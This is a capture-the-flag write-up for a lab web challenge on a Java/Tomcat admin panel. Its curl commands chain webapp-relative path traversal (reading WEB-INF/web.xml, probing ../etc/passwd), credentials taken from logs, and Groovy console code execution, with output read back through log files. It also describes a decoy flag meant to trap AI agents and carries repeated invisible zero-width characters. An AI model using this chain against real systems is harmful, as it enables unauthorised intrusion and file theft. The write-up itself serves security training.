← Back to Writeups
CUSTOMMediumWeb

PathRelay — Limited Path Traversal to RCE

XESXOR9/10/20264 min read
#web#custom#medium#credential_extraction_from_log#groovy_script_console_rce#hidden_endpoint_discovery_via_#honeypot_flag_identification#log_based_output_exfiltration#parameter_name_fuzzing#webapp_relative_path_traversal#linux

PathRelay — Limited Path Traversal to RCE

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-01 | Status: Solved Techniques: credential_extraction_from_log_files, groovy_script_console_rce, hidden_endpoint_discovery_via_web_xml, honeypot_flag_identification, log_based_output_exfiltration, parameter_name_fuzzing, webapp_relative_path_traversal

Summary

Task: Java/Tomcat admin panel with file download endpoint, WAF-protected path traversal, and hidden servlets. Solution: Webapp-relative path traversal to read WEB-INF/web.xml, discover hidden endpoints, extract credentials from incident report logs, authenticate to Groovy console for RCE, and exfiltrate flag via log files.

PathRelay — Limited Path Traversal to RCE — HackAdvisor Lab 18

Description

Scenario: You are testing PathRelay, an enterprise admin panel running on port 8080. Initial reconnaissance shows a 404 page, but there's more beneath the surface. Your goal is to escalate from limited file access to full remote code execution and capture the flag.

Environment Details: Application: PathRelay Admin Panel v2.1, Framework: Java/JSF (JavaServer Faces), Port: 8080 (behind nginx reverse proxy), Backend: Apache Tomcat/9.0.115, Security: WAF blocks outbound connections (no reverse shells). Inspired by a real $40,000 bug bounty. No test credentials provided — must be discovered through exploitation. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A multi-stage web exploitation challenge on a Java/Tomcat admin panel. Starting from a file download endpoint with limited path traversal, the goal is to chain multiple vulnerabilities — reading deployment descriptors, extracting credentials from log files, and achieving RCE through a Groovy script console — to read the flag from the server filesystem. The challenge includes a honeypot/decoy flag designed to trap automated tools and AI agents.

Analysis

Initial Reconnaissance

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The root URL (/) returns a custom 404 page (200 status, 2434 bytes). Critically, every page contains a decoy flag in HTML comments and hidden divs:

FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}

This is a honeypot flag — the name literally says "decoy not real trap for bots". It's designed to trick AI agents and automated scanners into submitting the wrong flag. This is FAKE.

Server fingerprinting reveals:

  • nginx/1.25.5 — reverse proxy (from response headers)
  • Apache Tomcat/9.0.115 — backend (revealed in 405 error pages) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Endpoint discovery via fuzzing:

  • /admin → 302 redirect to /admin/
  • /admin/login → 200, login form (POST, fields: username, password)
  • /admin/download → 200, Content-Length: 0 (file download endpoint, no parameters)

Parameter Discovery on /admin/download

The download endpoint returns 200 with 0 bytes for most parameter names (file, path, name, doc, report, log, id, resource, filepath). The key breakthrough was differential response analysis:

ParameterInvalid ValueResult
Most namesanything200, 0 bytes (parameter ignored)
filenamenonexistent404 (parameter recognized!)
filename../etc/passwd403 Forbidden (path traversal blocked)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The filename parameter is the correct one — the application recognizes it and applies path traversal filtering on ../ sequences.

Webapp-Relative Path Traversal

The critical insight: the download endpoint serves files relative to the webapp root directory. No directory traversal sequences (../) are needed — just reference internal webapp paths directly:

GET /admin/download?filename=WEB-INF/web.xml

This successfully returned the Java deployment descriptor, revealing two hidden servlet mappings:

  • /admin/incident-report → IncidentReportServlet (incident report download)
  • /admin/groovy-execute → GroovyConsoleServlet (Groovy script execution, requires authentication) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Stage 1: Read WEB-INF/web.xml via Webapp-Relative Path Traversal

bash
# Discover the correct parameter via differential response analysis
curl -s -o /dev/null -w "%{http_code}" "https://TARGET/admin/download?file=test"
# 200 (parameter ignored)

curl -s -o /dev/null -w "%{http_code}" "https://TARGET/admin/download?filename=test"
# 404 (parameter recognized — file not found)

curl -s -o /dev/null -w "%{http_code}" "https://TARGET/admin/download?filename=../etc/passwd"
# 403 (path traversal blocked by WAF)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Key insight: no ../ needed — read webapp-internal files directly
curl -s "https://TARGET/admin/download?filename=WEB-INF/web.xml"
# Returns full web.xml with hidden servlet mappings

Stage 2: Extract Credentials from Incident Report

bash
# Download incident report ZIP
curl -s "https://TARGET/admin/incident-report" -o incident-report.zip
unzip incident-report.zip -d incident-report/

The ZIP contains system.log with a password migration entry:

[2025-01-20 09:15:30] Password migration: old hash = 21232f297a57a5a743894a0e4a801fc3
[2025-01-20 09:15:31] Password migration: new password = Pr0xyR3l4y!2025
[2025-01-20 09:15:32] User 'admin' credentials updated successfully

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Credentials: admin / Pr0xyR3l4y!2025

Stage 3: Authenticate

bash
# Login and capture session cookie
curl -s -c cookies.txt -X POST "https://TARGET/admin/login" \
  -d "username=admin&password=Pr0xyR3l4y!2025"

Stage 4: Groovy Console RCE

bash
# Execute Groovy script to read the flag
curl -s -b cookies.txt -X POST "https://TARGET/admin/groovy-execute" \
  -d 'script=new File("/root/flag.txt").text'

The Groovy code executes on the server, but the output is NOT returned directly in the HTTP response — the WAF/application design prevents direct output. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Stage 5: Log-Based Exfiltration

The Groovy script output is written to groovy-export.log, which appears in the next incident report download:

bash
# Download the updated incident report (now includes groovy-export.log)
curl -s -b cookies.txt "https://TARGET/admin/incident-report" -o incident-report2.zip
unzip incident-report2.zip -d incident-report2/
cat incident-report2/groovy-export.log

Output:

[2026-05-01 21:27:35] EXPORT_SCRIPT_EXECUTION
Script: new File("/root/flag.txt").text
Output: FLAG{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍